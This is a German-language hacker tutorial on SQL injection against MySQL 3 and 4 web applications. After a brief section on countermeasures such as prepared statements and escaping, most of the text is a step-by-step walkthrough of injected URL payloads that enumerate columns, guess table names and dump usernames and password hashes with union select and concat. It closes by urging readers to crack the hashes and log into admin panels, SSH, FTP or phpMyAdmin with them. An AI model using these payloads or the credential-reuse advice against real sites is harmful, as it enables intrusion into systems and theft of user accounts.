######################################################
SQL – Tutorial über Version 3 und 4
#######################################################
written by BeatZ
#######################################################
0×00 Intro:
Willkommen zu meinem ersten Tutorial über SQL-Injections.
SQL-Injections sind Lücken, welche bei unsicheren Datenbankabfragen entstehen können.
Wikipedia beschreibt so ziemlich genau das wichtigste:
Eine solche Injection bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken,
die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht.
Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt,
eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle
über den Server zu erhalten.
Sprich er ist Admin dort. Und kann sich im meist ACP einloggen….
Man kann dann mit nicht geprüften Eingaben den Query manipulieren.
Dazu muss man bei einer Datenbankabfrage versuchen eigenen Code zu injecten
Das kann select, schreiben mit into oder auch der simple Bypass mit 1=1 sein.
#######################################################
0×01 Knowledge and countermeasures:
Um Injections zu unterbinden könnt ihr Metazeichen ausfiltern oder maskieren, so kann in die Eingaben eingegriffen werden und ein
Fehler kommt meist nicht mehr zu stande.
So sagt auch Wiki:
Generell ist die Webanwendung für die korrekte Prüfung der Eingabedaten verantwortlich,
so dass vor allem die Metazeichen des betreffenden Datenbanksystems entsprechend zu maskieren sind,
die für Ausnutzung dieser Sicherheitslücke verantwortlich sind. Weitergehend können auch die Eingabedaten auf die
Eigenschaften erwarteten Werte geprüft werden. So bestehen deutsche Postleitzahlen beispielsweise nur aus Ziffern.
Geeignete Schutzmaßnahmen sind in erster Linie dort zu implementieren, bzw anzuwenden.
Der simplere und sicherere Weg ist jedoch, die Daten überhaupt vom SQL-Interpreter fernzuhalten.
Dabei lässt sich auch ohne Verstümmelung der Eingabe auskommen. Die Technik dazu sind gebundene Parameter in Prepared Statements.
Dabei werden die Daten als Parameter an einen bereits kompilierten Befehl übergeben. Die Daten werden somit nicht interpretiert
und eine SQL-Injection verhindert. Stored Procedures bieten dagegen keinen generellen Schutz vor SQL-Injection,
insbesondere dann nicht, wenn der SQL-Code der Funktion nicht bekannt ist.
Doch auch auf Seiten des Datenbankservers lassen sich Sicherheitsvorkehrungen treffen. So sollten die Benutzer,
mit denen sich eine Webanwendung beim Datenbankserver authentifiziert, nur die Privilegien besitzen, die er tatsächlich benötigt.
So können zumindest einige der möglichen Angriffe unwirksam werden.
Hat ein Betreiber eines Webservers keine Kontrolle über die Anwendungen kann durch Einsatz von Web Application Firewalls (WAF)
zumindest teilweise verhindert werden, dass SQL-Injection-Schwachstellen ausgenutzt werden können.
Es ist nicht schwer, bestehende Programme so umzubauen, dass SQL-Injections nicht mehr möglich sind.
Das hauptsächliche Problem der meisten Programmierer ist fehlendes Wissen über diese Art von Angriffen.
Nachfolgend einige Beispiele, um die Angriffe abzuwehren.
Ich selber finde zwar WAFs nicht sehr berauschend, doch manchmal helfen sie wirklich..
So genug der Faselei, ich zeige euch erstmal ein simples Script welches die Eingaben nicht überprüft..
Testscript mit Lücke:
So wir speichern es und führen es aus:
www.seite.de/sql.php?id=1
…
Hier werden keine Variablen überprüft, man könnte leicht den Query manipulieren
Wie das geht erkläre ich weiter unten, ihr könnt es auch selbst an diesem Script testen
ihr müsst nur noch die entsprechenden Datenbankeinträge machen.
Tatsaceh ist, die Abfrage ist unsicher, was wir gleich ändern werden, hierfür gibt es viele
Möglichkeiten wie z.B.
mysql_real_escape_string()
oder
intval()
Prepared Statements auch:
SELECT product_id FROM product WHERE product_id = ‘$blah’
Prepared Statement
PreparedStatement ps = Connection.prepareStatement(
„SELECT product_id, product_name FROM product WHERE (product_id=?)“
); // Statement wird erzeugt
ps.setString(1, username);
ResultSet rs = ps.executeQuery();
Wir nehmen hierfür um unser Script zu sichern einfach mal mysql_real_escape_string() um den Parameter:
www.seite.de/sql.php?id=1
…
Es lässt sich nicht mehr manipulieren..
Desweiteren gibt es auch im Internet Anleitungen dafür, ich möchte euch jetzt nicht mySQL
beibringen.
#######################################################
0×01 Searching and exploiting:
Wie findet man jetzt solche Lücken und wie wendet man sie an….
Wenn wir eine Seite haben, schauen wir erstmal, wo eine Datenbankabfrage zu Stande
kommt, meist ist das wie schon gesagt bei GET-Parametern der Fall, wie bei IDs.
Man kann natürlich wenn man Lücke sich auch Dorks benutzen.
Wir nehmen einfach unser Script um das zu testen und natürlich das ungesicherte :>
www.seite.de/sql.php?id=1
Shampoo wird ausgegeben, klar, der erste Wert in der Tabelle Product und der Column name
Die Seite sollte normal dargestellt werden. Jetzt prüfen wie die Seite auf ihre Anfälligkeit.
Da ich hier noch nicht Blind anwende, prüfen wir die Seite mittels Hochkommata, ‘
Dieses wird hinter die ID gesetzt.
www.seite.de/sql.php?id=1′
Ist die Seite nicht vuln, erscheint kein Fehler, hat sie allerdings eine Lücke, erscheint ein
Error wie dieser z.B.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right etc…
Nicht immer muss ein Fehler entstehen wenn eine Lücke besteht, es eigenet sich einfach
prima zum erklären. Oftmals wird auf Veränderungen zwischen dem Request mit ‘ und ohne
‘ geachtet. dann testet man mit and 1=1 (true) oder and 1=0 (false).
Unser Ziel ist es später, das passwort und den username (columns) vom user Admin aus
der table users (kann auch anders heißen) ausgeben zu lassen.
Damit ihr es besser versteht zeige ich euch das Prinzip genauer:
Datenbank [vereinfacht]
| column | users: | admins |
|——————————————–
| username | hans | admin |
| password | wurst | pw |
| | | |
| | | |
| | | |
———————————————-
Um später etwas anderes auszugeben als vorgesehen, müssen wir die Anzahl der columns welche selektiert werden
wissen. Um das zu erfahren gibt es 2 Möglichkeiten, ich fange mit order by an.
Um die Befehle zu trennen nehme ich +, es geht auch /**/ oder ein Leerzeichen.
Am Ende mache ich +–+, es geht auch #, /*, — oder einfach nichts, die Kommentare filtern lästige
and Abfragen etc… weg.
Falls bei einer Injection von euch, die Ausgabe mal nicht klappen sollte, versucht einfach mal
andere Zeichen aus, mir hat es oft geholfen. Damit das Leerzeichen nicht einfach
weginterpretiert wird benutzt man noch einen Buchstaben so etwa:
injection– f oder –+
Bevor ich mit order+by anfange demonstriere ich kurz die Funktionalität von
and 1=1 oder and 1=0
Das ganze packen wir hinter die ID, also:
www.seite.de/sql.php?id=1′+and+1=1– f true also keine Veränderung
www.seite.de/sql.php?id=1′+and+1=0– f false und wenn die Seite verbuggt ist sollte ein Unterschied erscheinen
Hier wird einfach hinter den Query „und 1 ist gleich 1″ angehängt, sollte der Vergleich false zurückgeben
und man den Unterschied merken, sollte der Query manipulierbar sein.
Jetzt können wir uns um die Ausgabe bemühen, ansonsten wäre es ja eine Blind-Injection,
aber dazu später.
Nun, wieso reagiert der Query auf and 1=1 und and 1=0, schauen wir ihn uns einfach mal an:
Normal wäre er: SELECT name FROM product WHERE id=’1′ mit and wird er aber zu:
SELECT name FROM product WHERE id=’1′ and 1=1– f’ Alles nach dem f wird wegkommentiert :>
Folglich wird einfach gesagt, selektiere und 1=1 oder 1=0 bei 1=0 wird nichts selektiert
www.seite.de/sql.php?id=1′+order+by+1+–+ -> true (Seite wird ohne Fehler gezeigt)
Es existiert also 1 column
Hier haben wir die id im Hochkomme, d.h. wir brauchen es auch bei unserem 2. Query.
Bei anderen Injections vielleicht ohne Hochkomma lasst ihr es einfach weg, das zeigt sich schnell..
Jetzt grenzen wir die Columns auf die höchste Zahl, welche true ergibt ein. so
www.seite.de/sql.php?id=1′+order+by+100+–+ -> false (Seite wird mit Fehlern angezeigt)
Das heißt es gibt weniger als 100 columns.
www.seite.de/sql.php?id=1′+order+by+2+–+ -> false (es gibt weniger)
Es ist also nur einer (nämlich „name“, kennen wir ja schon)
Jetzt könne wir das ganze noch mit der 2. Methode prüfen, union select
Select wird benutzt um Daten abzurufen, etwas den Inhalt einer Column etc..
Mit union verbinden wir 2 Selects miteinander.
Den definierten Query und unseren.
Damit der erste definierte Query nichts zurückliefert wird das Element oft ungültig gemacht, etwa mit einem
- oder einer sehr hohen Zahl, ich gehe allerdings mal davon aus, dass hier eine Ausgabe ohne -
stattfindet.
www.seite.de/sql.php?id=-1′+union+select+1+–+
Bei jeder zusätzlichen oder fehlenden Zahl wird ein Fehler angezeigt, deshalb haben wir alles richig
gemacht.
Es erscheint eine 1, da das Product -1 natürlich nicht existiert:
SELECT name FROM product WHERE id=’-1 (unser Teil)’ UNION SELECT 1+–+’
Wir sehen aber noch etwas anderes, auf der Seite wird mit union select eine oder mehrere
Zahlen ausgegeben, darüber lassen wir später unsere Ausgabe laufen. Bei
unserer Seite ist es 1
Als nächsten Schritt müssen wir die Ausgabe herausbekommen, da sie unser Handeln beeinflussen
kann. Das geht mit version() oder @@version, da uns die Version ja ausgegeben werden soll
müssen wir es anstatt der 1 schreiben, etwa so:
www.seite.de/sql.php?id=-1′+union+select+version()+–+
oder
www.seite.de/sql.php?id=-1′+union+select+@@version+–+
Falls es immer noch nicht funktioniert lassen wir unsere Ausgabe über unhex laufen, das ändert sich dann
auch im Verlauf der Injection nicht mehr. etwas so:
Hier wird auf ein einheitliches Charset aufgebaut, man könnte das auch mit convert() machen..
www.seite.de/sql.php?id=-1′union+select+unhex(hex(version()))+–+
Im Folgenden muss das ganze Zeug in die Klammer rein:
www.seite.de/sql.php?id=-1′+union+select+unhex(hex(hiermuss es rein))+–+
So jetzt wird entweder Version 4, version 3 oder version 5 ausgegeben. bei uns ist es Version 4, da ich
die Version 5 in dem nächsten Tutorial beschreibe.
Da es Version 4 ist müssen wir die tablenamen und columnnamen raten, da wir die Datenbank ja nicht sehen können.
Als erstes brauche wir den tablenamen, da wir die User bzw. den Admin haben möchten, heist die table
meistens users, user, admins oder admin, wie wir testen was richtig ist, zeige ich euch jetzt, zusammen mit dem
Befehl „from“ wird getestet ob ein Fehler kommt. Die Version wird wieder gegen die 4 ausgetauscht.
www.seite.de/sql.php?id=-1′+union+select+1+from+users+–+ -> false
Es wird ein Fehler angezeigt, also kann es users schonmal nicht sein. versuchen wir es mit user
www.seite.de/sql.php?id=-1′+union+select+1+from+user+–+ -> true
Es passiert nichts, kein Fehler, also existiert diese table, wir haben Glück gehabt.
Oft gibt es aber auch sogenannte Prefixe, d.h. wenn wir bspw. eine Injection bei npd haben, könnte der
tablename auch npd_users sein etc. npd_xxx ist hier der Prefix
Helfen kann hier der Befehl user() oder database() er wird einfach in die Ausgabe geschoben, etwa so:
www.seite.de/sql.php?id=-1′+union+select+user()+–+
und mit Database()
www.seite.de/sql.php?id=-1′+union+select+database()+–+
Aber wir habne unsere table ja schon, es geht weiter mit den columns, da wir ja das Passwort und den Usernamen
brauchen, wird die column ähnlich heißen. testen können wir es ebenfalls mit der Ausgabe:
www.seite.de/sql.php?id=-1′+union+select+username+from+user+–+ -> false
Es wird ein Fehler gezeigt, also kann das schonmal nicht stimmen, versuchen wir es mit name:
www.seite.de/sql.php?id=-1′+union+select+name+from+user+–+ -> true
Bei unserer Ausgabe erscheint ein username, also habe wir schonmal den columnname für den username, fehlt
noch das passwort. Das machen wir genauso:
www.seite.de/sql.php?id=-1′+union+select+passwort+from+user+–+ -> false
Es kommt wieder ein Fehler, also versuchen wir es englisch, also password
www.seite.de/sql.php?id=-1′+union+select+password+from+user+–+ -> true
Der Query sieht nun so aus:
SELECT name FROM product WHERE id=’-1′ UNION SELECT password FROM user+–+
Es wird ei Hash oder gleich das Passwort angezeigt, jetzt können wir es mit concat() zusammenfassen, etwa so:
www.seite.de/sql.php?id=-1′+union+select+concat(name,password)+from+user+–+
getrennt wird immer mit einem Komma, doch klebt jetzt das Zeug sehr aneinander, deshalb machen wir einfach einen
Doppelpunkt dazwischen, alledings müssen wir diesen erst in Hex umrechnen, also : = 0×3a
www.seite.de/sql.php?id=-1′+union+select+concat(name,0×3a,password)+from+user+–+
So wollen wir das haben. Hier haben wir jetzt 2 columns ausgegeben, wenn es allerdings mehr werden, kann
immer das 0×3a zu schreiben schnell lästig werden, deshalb gibt es concat_ws(), was den ersten Wert automatisch
setzt, etwa so:
www.seite.de/sql.php?id=-1′+union+select+concat_ws(0×3a,name,password,3.column,4.column+from+user+–+
Man sieht es wird alles automatisch dargestellt.
Nun bemerken wir allerdings, das nur ein x-beliebiger User ausgegeben wird, aber gibt es vielleicht noch mehr oder wie kann
ich mir einen anderen ausgeben lassen?
Dafür gibt es limit, es wird hinter from gehängt und zählt auf Wunsch hoch. etwa so:
www.seite.de/sql.php?id=-1′+union+select+concat(name,0×3a,password)+from+user+limit+0,1+–+
0 zählt die Einträge und 1 braucht ihr eigentlich nicht, da geht es um PHPmyAdmin.
Also sollte ab 1,1 ein anderer User in der Ausgabe erscheinen, dann kann man das weiter fortsetzen:
www.seite.de/sql.php?id=-1′+union+select+concat(name,0×3a,password)+from+user+limit+1,1+–+
www.seite.de/sql.php?id=-1′+union+select+concat(name,0×3a,password)+from+user+limit+2,1+–+
etc…..
Es gibt noch eine wichtige Funktion, sie stellt eine Bedingung, nennt sich where und wird ebenfalls hinter from angewendet.
Wenn wir z.B. die Id vom Admin oder den Usernamen wissen (bei Foren meistens) können wir eine Bedingung stellen:
www.seite.de/sql.php?id=-1′+union+select+concat(name,0×3a,password)+from+user+where+name=namedesadmins+–+
Jetzt wird natürlich nur der admin ausgegeben….
Auch hier kann nur die ID oder sonstiges ausgegeben werden, wenn es die entsprechenden columns gibt.
Sollte es Id gar nicht geben, wird das auch mit where nichts werden.
Was hier 1 Column ist, kann auf anderen Seiten auch mehrere sein, diese werden einfach mit Kommas hintereinander gesetzt:
UNION SELECT 1,2,3,4,5,6,7+–+
#########################################################################
0×02 Use the data:
So das hätten wir geschafft, jetzt müssen wir nur noch en admincp finden, um die Daten auszuprobieren,
Vergesst nicht den evtl. Hash zu entschlüsseln (meistens MD5 oder MySQL)
Wenn es kein ACP gibt, versucht es bei SSH, FTP oder PHPmyAdmin, es stehen euch die Wege offen.
#########################################################################
0×03 Complete:
Und schaut wenn ihr es verstanden habt auch meine anderen und weiterführenden Tutorials an:
xXxBeatZxXx.de and greezZ to my friendssZ
########################################################################